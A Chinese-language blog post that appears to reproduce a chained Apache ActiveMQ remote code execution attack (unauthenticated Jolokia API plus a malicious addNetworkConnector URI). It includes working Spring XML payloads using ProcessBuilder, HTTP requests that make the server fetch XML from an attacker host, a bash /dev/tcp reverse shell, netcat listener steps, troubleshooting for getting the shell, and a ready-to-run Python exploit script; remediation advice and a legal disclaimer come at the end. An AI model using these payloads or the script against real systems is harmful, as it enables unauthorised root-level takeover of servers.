漏洞利用演示
如果觉得看文字不够直观,完整的操作演示在这里:
无账号直接拿 root!ActiveMQ Jolokia双CVE组合RCE完整复现
一、亮点
我在看到这个漏洞组合的时候愣了好一会儿。Apache ActiveMQ,一个正经的企业消息中间件——不需要任何账号密码,就能在服务器上执行任意命令。
不是夸张。就一个 HTTP 请求,把服务器的控制权交到你手上。那种感觉怎么说呢,就像你走到一家银行门口,试着推了推门,结果门没锁,里面还有个柜员对着你喊"先生请进,要多少钱自己拿"。你站在门口,手里揣着准备好的各种注入 payload,结果人家连门都给你开了。
这背后是两个 CVE 的"合体技":CVE-2024-32114 忘了给 API 门上锁,CVE-2026-34197 让你能用这把锁坏了的门去搬走整栋楼。单独看,一个"就这?“——进去只能看看 MBean 列表,另一个"需要密码呢”——有命令执行能力但要先过认证。组合到一起——门都没锁,枪就在桌上,你拿起来就能开。
网上关于这两个漏洞的复现文章不少,但绝大多数演示到执行一条 id 命令就收工了。真正难的是从命令执行走到反弹 Shell——你以为把 id 换成 bash -i 就完事了?我当初也是这么想的,然后盯着空白终端发了足足半小时的呆。这篇文章记录了我完整踩坑到最终拿下 root 权限的过程,一步不跳。
二、漏洞背景
ActiveMQ 你可以理解成一个"企业消息邮局"——系统 A 把消息扔给它,系统 B 从它那取。Java 写的,支持集群部署,默认在 8161 端口提供 Web 管理界面。说它是消息中间件的老资历一点不为过,很多大公司的系统里都跑着这玩意。
这个漏洞的故事得从两个配角讲起。
第一个配角:Jolokia。 这名字听着像某种北欧精灵,实际上是个 JMX-HTTP 桥接器。JMX 是 Java 的管理标准,用来远程操控 Java 应用的——比如看它跑了多少条消息、暂停某个队列。但 JMX 原生的访问方式很麻烦,走的是 Java 专有协议,跟说暗语似的。Jolokia 的使命就是把这玩意转成普通的 HTTP API,让前端页面和脚本也能调——相当于给那个说暗语的门配了个翻译官。在 ActiveMQ 里,它的路径是 /api/jolokia/。
第二个配角:Spring XML 配置。 ActiveMQ 底层用 Spring 框架管理 Bean(你可以把 Bean 理解成"Java 对象工厂生产出来的零件")。Spring 有个特点——它可以从远程 URL 加载 XML 配置文件来创建 Bean。换句话说,你给它一个 http://evil.com/poc.xml,它会老老实实下载下来,把里面定义的对象一个个创建出来。这里面如果定义了一个 ProcessBuilder(Java 里用来执行系统命令的类),它也会照做不误。
这就好比你家的智能音箱不仅能播放你点的歌,还能接受一个"来自互联网的配置包"——然后这个配置包里夹了一段"把大门打开"的指令。音箱说:“好的,正在为您执行。”
所以到这里我们已经看到了一个潜在的危险链条:如果能调用 Jolokia API 去触发 ActiveMQ 加载远程 XML,就能执行任意命令。问题在于,Jolokia API 按理说应该需要登录才能访问。
这里CVE-2024-32114登场了——ActiveMQ 开发者在配置 Web 安全时,记得给 /admin/* 路径加了认证过滤器,但忘了给 /api/* 也加。活干了一半就下班了,程序员经典操作。所以在 ActiveMQ 6.0.0 到 6.1.1 版本上,/api/jolokia/ 是裸奔的,任何人都能调用。
光有裸奔的 API 不够,你还得有一个能执行命令的方法去调用。这就是CVE-2026-34197——Broker MBean 上的 addNetworkConnector() 方法没有对传入的参数做充分校验。攻击者可以传一个精心构造的 URI,让 ActiveMQ 去连接一个"不存在的本地 broker",然后 ActiveMQ 会"好心地"根据你给的配置参数去创建一个新 broker——创建过程中就从你的攻击机上下载了恶意 XML,命令就执行了。
两个漏洞单独看:
- CVE-2024-32114:API 没锁门,但你进去只能看看 MBean 列表、删删队列——破坏力有限,像个没关窗户的空房间。
- CVE-2026-34197:有把能开枪的扳机,但需要先通过认证这道保险。
组合到一起:一个拆了保险,一个扣了扳机。门都没锁,枪就在桌上,你拿起来就能开。这就是双 CVE 联动的化学反应——缺钥匙的枪遇上了缺枪的钥匙。
三、环境搭建
一行命令:
docker compose up -d
等大约 30 秒,访问 http://your-ip:8161,看到 ActiveMQ 欢迎页说明靶场就绪。


确认版本——6.1.1,正好在 CVE-2024-32114(未授权)和 CVE-2026-34197(RCE)的双重覆盖范围内。双重命中,这靶场开得值。
四、漏洞复现
步骤1:验证未授权访问——门确实没锁
先试试能不能不登录就调 Jolokia:
GET /api/jolokia/list HTTP/1.1
Host: your-ip:8161

状态码 200,返回了一大串 JSON,里面是 ActiveMQ 所有已注册的 MBean 列表。注意看——请求里一行 Authorization 都没带。正常情况下这应该返回 401。开发团队写安全配置时,只在 /admin/* 上加了口令校验,/api/* 被漏掉了。活干一半就下班,程序员经典操作。
步骤2:制作恶意 XML 载荷
在攻击机(能被目标服务器访问到的那台机器)上创建 poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[id > /tmp/success]]></value>
</list>
</constructor-arg>
</bean>
</beans>
来看每一行在干什么:
<bean id="exec" class="java.lang.ProcessBuilder">——告诉 Spring:"请给我创建一个ProcessBuilder对象。"这玩意就是 Java 里用来启动系统进程的,相当于命令行里的bash。init-method="start"——关键中的关键。意思是"这个对象创建完之后,自动调用它的start()方法"。一般 Bean 创建完就放在那不动了,但加了这行,创建完立刻触发命令执行。相当于你网购了一个电饭煲,快递员放下之后还自动帮你插电按开关。<constructor-arg>——ProcessBuilder的构造函数要一个参数列表,这里传了三样:["bash", "-c", "id > /tmp/success"]。相当于在 Shell 里执行bash -c "id > /tmp/success"。<![CDATA[...]]>——XML 的原始文本区。因为命令里可能有><&这些 XML 的特殊字符,包在 CDATA 里就不会被 XML 解析器误伤。相当于给命令穿了个防弹衣。
步骤3:启动 HTTP 服务托管恶意 XML
在 poc.xml 所在目录:
python3 -m http.server 25000

步骤4:发送攻击请求
POST /api/jolokia/ HTTP/1.1
Host: your-ip:8161
Content-Type: application/json
{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://攻击IP:25000/poc.xml)"]
}
拆一下这个请求里的关键部分:
"type": "exec"——告诉 Jolokia,“我要执行一个 MBean 的方法”。"mbean": "org.apache.activemq:type=Broker..."——要操作的对象是 ActiveMQ 的 Broker(消息代理核心)。"operation": "addNetworkConnector(java.lang.String)"——调用添加网络连接器的方法。"arguments"里那个字符串是整次攻击的核心,分开读:static:(...)——ActiveMQ 的静态发现协议,“直接连后面这个地址”。vm://evil——“连接一个叫 evil 的本地 broker”。这个名字是我们瞎编的,它当然不存在。?brokerConfig=xbean:http://...——“如果 evil 不存在,用这个配置来创建它”。xbean:告诉 ActiveMQ 用 Spring 去加载配置,而且支持 HTTP URL!
所以整个逻辑是:ActiveMQ 尝试连接 “evil” broker → 发现不存在 → 读取 brokerConfig 参数 → 去你的攻击机下载 XML → Spring 解析并创建 Bean → ProcessBuilder 自动执行 → 命令跑了。
这链条比我上个月的信用卡账单还长,但每一步都是框架的正常功能,没有任何"漏洞代码"——全是设计特性被串成了攻击链。

响应中 "status": 200 表示 MBean 方法调用成功:

步骤5:验证攻击机收到请求
攻击机的 HTTP 服务器窗口会显示 ActiveMQ 确实来下载了 poc.xml:

步骤6:验证命令执行
docker compose exec activemq cat /tmp/success
看到 uid=0(root) gid=0(root)... 的输出,命令成功执行。到这一步,我们已经证明了这个漏洞组合能让服务器执行任意命令。
五、GetShell:拿下服务器
能执行 id 命令只是拿到了"遥控器"。网上关于这个漏洞的教程,百分之九十都停在了这里。真正难的是从单条命令走到一个可以交互的 Shell——你以为把 id 换成反弹命令就完事了?我当初也是这么想的,然后盯着空白终端发了好几分钟的呆。
反弹 Shell 命令怎么理解
先搞清楚我们要让目标执行什么:
bash -i >& /dev/tcp/攻击IP/监听端口 0>&1
零基础拆解:
bash -i——启动一个交互式 bash(-i= interactive,有提示符那种)>& /dev/tcp/IP/PORT——把标准输出和标准错误都重定向到 TCP 连接。/dev/tcp/是 bash 的内置功能,可以直接打开 TCP 连接,不需要nc。相当于你家里的水管直接接到了邻居家。0>&1——把标准输入也绑到同一个 TCP 连接上。这样你在攻击端敲的命令就能传到目标上。
效果就是:目标机器打开一个 bash,所有输入输出不走屏幕,走网络——你在你的机器上敲命令,它在它的机器上执行。
制作反弹 Shell 的 XML 载荷
创建 exploit.xml(把 IP 换成你的攻击机地址):
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/攻击IP/25001 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
结构和 poc.xml 一模一样,只是 CDATA 里的命令从 id > /tmp/success 换成了反弹 Shell。
第一步:攻击机开启监听 + HTTP 服务
开两个终端:
# 终端1:监听反弹Shell
nc -lvvp 25001
# 终端2:托管恶意XML
python3 -m http.server 25005

第二步:触发反弹
POST /api/jolokia/ HTTP/1.1
Host: your-ip:8161
Content-Type: application/json
{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil2?brokerConfig=xbean:http://攻击IP:25005/exploit.xml)"]
}
注意 vm://evil2 换了个名字——因为 evil 在上一步 POC 里可能已经被创建过了,重名会导致请求失败。每次攻击换个名字,就当在玩取名游戏。
第三步:Shell 回来了!
回到 nc 监听窗口,几秒钟后连接建立:

执行验证命令:
whoami
uname -a
id

root 权限,交互式 bash,服务器已在你的控制之下。从发送第一个请求到拿到 Shell,前后不超过 3 秒。说实话,比我平时点外卖还快。
六、踩坑与避坑
坑1:反弹 Shell 不弹——nc 一片空白
本来以为把 id > /tmp/success 换成反弹命令就完事了,信心满满地发了个请求——然后 nc 安静得像我的银行存款余额。
排查了好一会儿,问题出在两个地方经常被忽略:
第一,网络连通性。反弹 Shell 是目标主动连你,所以你的攻击机必须在目标能访问到的网络上。如果你在本地用 Docker 跑 ActiveMQ,攻击机是同一台宿主机,用 172.17.0.1(Docker 默认网关)或者宿主机的真实 IP。如果攻击机是云服务器,确保安全组/防火墙开放了监听端口和 HTTP 端口。
第二,端口被防火墙拦了。很多 VPS 默认只开 22、80、443,你随手写的 25001 和 25005 大概率在墙外面。去云控制台把这两个端口加入入站规则。
验证方案——先在目标容器里测试连通性:
docker compose exec activemq bash -c "echo >/dev/tcp/攻击IP/25005 2>&1"
如果返回 connect: Connection refused 说明端口没开或防火墙拦了。先搞定这个再往下走,别像我一样先排查了 XML 语法、curl 了无数次才想起来去控制台看防火墙——说出来都是泪。
就这么简单?对,知道了就这么简单,不知道能让你怀疑自己是不是复制错了命令。
坑2:第二次攻击失败——vm:// 名字重复了
第一次攻击用 vm://evil 成功了,第二次还用同样的名字发请求,返回 200 但 Shell 没弹回来。
我盯着这个 200 状态码看了足足十分钟,就差给它磕一个求它出 Shell 了。
排查发现:ActiveMQ 在第一次攻击时已经创建了一个叫 “evil” 的网络连接器,第二次调用 addNetworkConnector 发现同名连接器已存在就直接跳过了——不会重新触发配置加载。
解决方案——每次攻击把 vm:// 后面的名字改一下:evil → evil2 → evil3……或者直接重启容器:
docker compose restart
知道了就这么简单,不知道能让你盯着 200 状态码思考人生。
坑3:XML 里没加 CDATA——命令被吃了
如果你偷懒把 CDATA 去掉,直接写成:
<value>bash -i >& /dev/tcp/IP/PORT 0>&1</value>
XML 解析器看到 > 和 & 就会开始转义——结果到了 Shell 层命令已经面目全非了。你以为是执行反弹 Shell,实际上执行了一段被 XML 转义得连它亲妈都不认识的字符串。
永远把命令内容包在 <![CDATA[...]]> 里面,这是血的教训——不,是浪费了一个下午的教训。
七、一键利用脚本
每次手动发包、换 XML、改端口太慢了,我写了个 Python 脚本把整个流程自动化。省下来的时间多踩几个坑不好吗?
#!/usr/bin/env python3
# 用法: python exploit.py -t http://target:8161 -lhost 10.0.0.1 -lport 4444 --xml-port 8888
import argparse
import http.server
import socketserver
import threading
import requests
import time
import os
import random
def gen_xml(lhost, lport):
"""构造反弹Shell的XML载荷"""
cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
return f'''<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[{cmd}]]></value>
</list>
</constructor-arg>
</bean>
</beans>'''
def start_http_server(port):
"""在后台启动HTTP服务托管XML"""
handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("0.0.0.0", port), handler)
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
thread.start()
return httpd
def trigger_rce(target, lhost, xml_port):
"""发送Jolokia请求触发远程代码执行"""
evil_name = f"evil{random.randint(1000, 9999)}"
payload = {
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": [
f"static:(vm://{evil_name}?brokerConfig=xbean:http://{lhost}:{xml_port}/exploit.xml)"
]
}
resp = requests.post(
f"{target}/api/jolokia/",
json=payload,
headers={"Content-Type": "application/json"},
timeout=10
)
return resp.json()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-34197 + CVE-2024-32114 一键利用")
parser.add_argument("-t", "--target", required=True, help="目标URL, 如 http://192.168.1.1:8161")
parser.add_argument("-lhost", required=True, help="攻击机IP(反弹Shell回连地址)")
parser.add_argument("-lport", type=int, default=4444, help="反弹Shell监听端口")
parser.add_argument("--xml-port", type=int, default=8888, help="托管XML的HTTP端口")
args = parser.parse_args()
xml = gen_xml(args.lhost, args.lport)
with open("exploit.xml", "w") as f:
f.write(xml)
print(f"[+] exploit.xml 已生成")
httpd = start_http_server(args.xml_port)
print(f"[+] HTTP服务已启动 0.0.0.0:{args.xml_port}")
print(f"[+] 发送攻击请求到 {args.target}")
result = trigger_rce(args.target, args.lhost, args.xml_port)
print(f"[+] 响应: {result}")
print(f"[*] 请在另一个终端执行: nc -lvvp {args.lport}")
print(f"[*] 等待反弹Shell...")
time.sleep(30)
用法:
# 先开监听
nc -lvvp 4444
# 另一个终端运行脚本
python exploit.py -t http://target:8161 -lhost 你的攻击机IP -lport 4444 --xml-port 8888
这个脚本会自动生成随机的 evil 名字,再也不用担心重名问题了。
八、修复建议
- 升级 Apache ActiveMQ 到 5.19.4+ 或 6.2.3+ 版本
- 给
/api/jolokia/路径配置认证过滤器,不要只保护/admin/* - 如果不需要 Jolokia 功能,直接禁用该组件
- 配置防火墙限制 8161 端口仅对内网或信任 IP 开放
- 修改默认凭据
admin:admin(高版本虽然加了认证但默认密码没改也是白搭)
九、写在最后
这个漏洞的本质就两个字——组合。一个 API 忘了上锁,一个方法没做输入校验,分开看都是"小问题",合在一起就是服务器沦陷。安全防御也是这个道理——单独的防护措施就像单独的门锁,攻击者永远在找那把坏掉的锁。
如果你想自己动手试试,建议先用 Docker 搭好环境,把 POC 跑通,再试着换不同的反弹方式、换端口、换攻击机位置,慢慢就知道每个环节卡在哪里了。
专栏里之前写过的 Apache OFBiz 那篇(CVE-2024-45507) 也是类似的多漏洞组合套路——通过 SSRF 打穿内网再到反序列化 RCE。如果你对这种"组合拳"攻击模式感兴趣,可以翻翻那篇。
复现过程中有问题直接评论区留言,我看到了会回。
本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。
438

被折叠的 条评论
为什么被折叠?



